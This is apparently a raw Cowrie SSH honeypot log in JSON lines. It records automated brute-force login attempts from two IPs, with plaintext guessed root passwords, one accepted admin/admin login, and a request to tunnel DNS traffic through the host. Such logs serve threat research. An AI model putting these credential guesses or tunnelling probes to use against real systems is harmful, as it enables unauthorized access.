{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:18.919620Z","src_ip":"60.165.124.241","session":"b5ee883096c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46534,"dst_ip":"10.17.0.5","dst_port":22,"session":"789d045db11f","protocol":"ssh","message":"New connection: 60.165.124.241:46534 (10.17.0.5:22) [session: 789d045db11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:19.134541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:19.143297Z","src_ip":"60.165.124.241","session":"789d045db11f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12120,"dst_ip":"10.17.0.5","dst_port":22,"session":"60dbec87906a","protocol":"ssh","message":"New connection: 87.251.64.176:12120 (10.17.0.5:22) [session: 60dbec87906a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:19.261335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:19.266500Z","src_ip":"87.251.64.176","session":"60dbec87906a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:19.363255Z","src_ip":"87.251.64.176","session":"60dbec87906a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:19.384794Z","src_ip":"60.165.124.241","session":"789d045db11f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:19.681508Z","src_ip":"87.251.64.176","session":"60dbec87906a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:19.827776Z","session":"60dbec87906a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:19.926254Z","src_ip":"87.251.64.176","session":"60dbec87906a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Supos@1304","message":"login attempt [root/Supos@1304] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:20.117112Z","src_ip":"60.165.124.241","session":"789d045db11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:20.212472Z","src_ip":"87.251.64.176","session":"60dbec87906a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:21.372545Z","src_ip":"60.165.124.241","session":"789d045db11f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49480,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d35702745f","protocol":"ssh","message":"New connection: 60.165.124.241:49480 (10.17.0.5:22) [session: b2d35702745f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:21.609706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:21.614803Z","src_ip":"60.165.124.241","session":"b2d35702745f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:21.861155Z","src_ip":"60.165.124.241","session":"b2d35702745f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"senha123","message":"login attempt [root/senha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:23.318103Z","src_ip":"60.165.124.241","session":"b2d35702745f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:25.178886Z","src_ip":"60.165.124.241","session":"b2d35702745f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54566,"dst_ip":"10.17.0.5","dst_port":22,"session":"6229a25532d5","protocol":"ssh","message":"New connection: 60.165.124.241:54566 (10.17.0.5:22) [session: 6229a25532d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:25.440295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:25.445539Z","src_ip":"60.165.124.241","session":"6229a25532d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:26.435423Z","src_ip":"60.165.124.241","session":"6229a25532d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd!@#","message":"login attempt [root/P@ssw0rd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:27.218295Z","src_ip":"60.165.124.241","session":"6229a25532d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:28.483054Z","src_ip":"60.165.124.241","session":"6229a25532d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58644,"dst_ip":"10.17.0.5","dst_port":22,"session":"d532d8e082d7","protocol":"ssh","message":"New connection: 60.165.124.241:58644 (10.17.0.5:22) [session: d532d8e082d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:28.744678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:28.750101Z","src_ip":"60.165.124.241","session":"d532d8e082d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:29.763320Z","src_ip":"60.165.124.241","session":"d532d8e082d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welc0me","message":"login attempt [root/welc0me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:30.560443Z","src_ip":"60.165.124.241","session":"d532d8e082d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:31.826105Z","src_ip":"60.165.124.241","session":"d532d8e082d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34574,"dst_ip":"10.17.0.5","dst_port":22,"session":"8335fbdf1e5c","protocol":"ssh","message":"New connection: 60.165.124.241:34574 (10.17.0.5:22) [session: 8335fbdf1e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:32.064345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:32.068962Z","src_ip":"60.165.124.241","session":"8335fbdf1e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:32.321089Z","src_ip":"60.165.124.241","session":"8335fbdf1e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@3edc","message":"login attempt [root/1qazXSW@3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:33.082033Z","src_ip":"60.165.124.241","session":"8335fbdf1e5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:34.335981Z","src_ip":"60.165.124.241","session":"8335fbdf1e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37526,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4a7ad0ab908","protocol":"ssh","message":"New connection: 60.165.124.241:37526 (10.17.0.5:22) [session: d4a7ad0ab908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:35.585545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:35.591202Z","src_ip":"60.165.124.241","session":"d4a7ad0ab908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:36.568599Z","src_ip":"60.165.124.241","session":"d4a7ad0ab908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin_admin","message":"login attempt [root/Admin_admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:37.328246Z","src_ip":"60.165.124.241","session":"d4a7ad0ab908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:38.582978Z","src_ip":"60.165.124.241","session":"d4a7ad0ab908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43100,"dst_ip":"10.17.0.5","dst_port":22,"session":"1023c3dfbf16","protocol":"ssh","message":"New connection: 60.165.124.241:43100 (10.17.0.5:22) [session: 1023c3dfbf16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:38.831138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:38.835378Z","src_ip":"60.165.124.241","session":"1023c3dfbf16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:39.087143Z","src_ip":"60.165.124.241","session":"1023c3dfbf16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:40.563196Z","src_ip":"60.165.124.241","session":"1023c3dfbf16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:41.818915Z","src_ip":"60.165.124.241","session":"1023c3dfbf16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47036,"dst_ip":"10.17.0.5","dst_port":22,"session":"40f91136fd7b","protocol":"ssh","message":"New connection: 60.165.124.241:47036 (10.17.0.5:22) [session: 40f91136fd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:42.065365Z"}
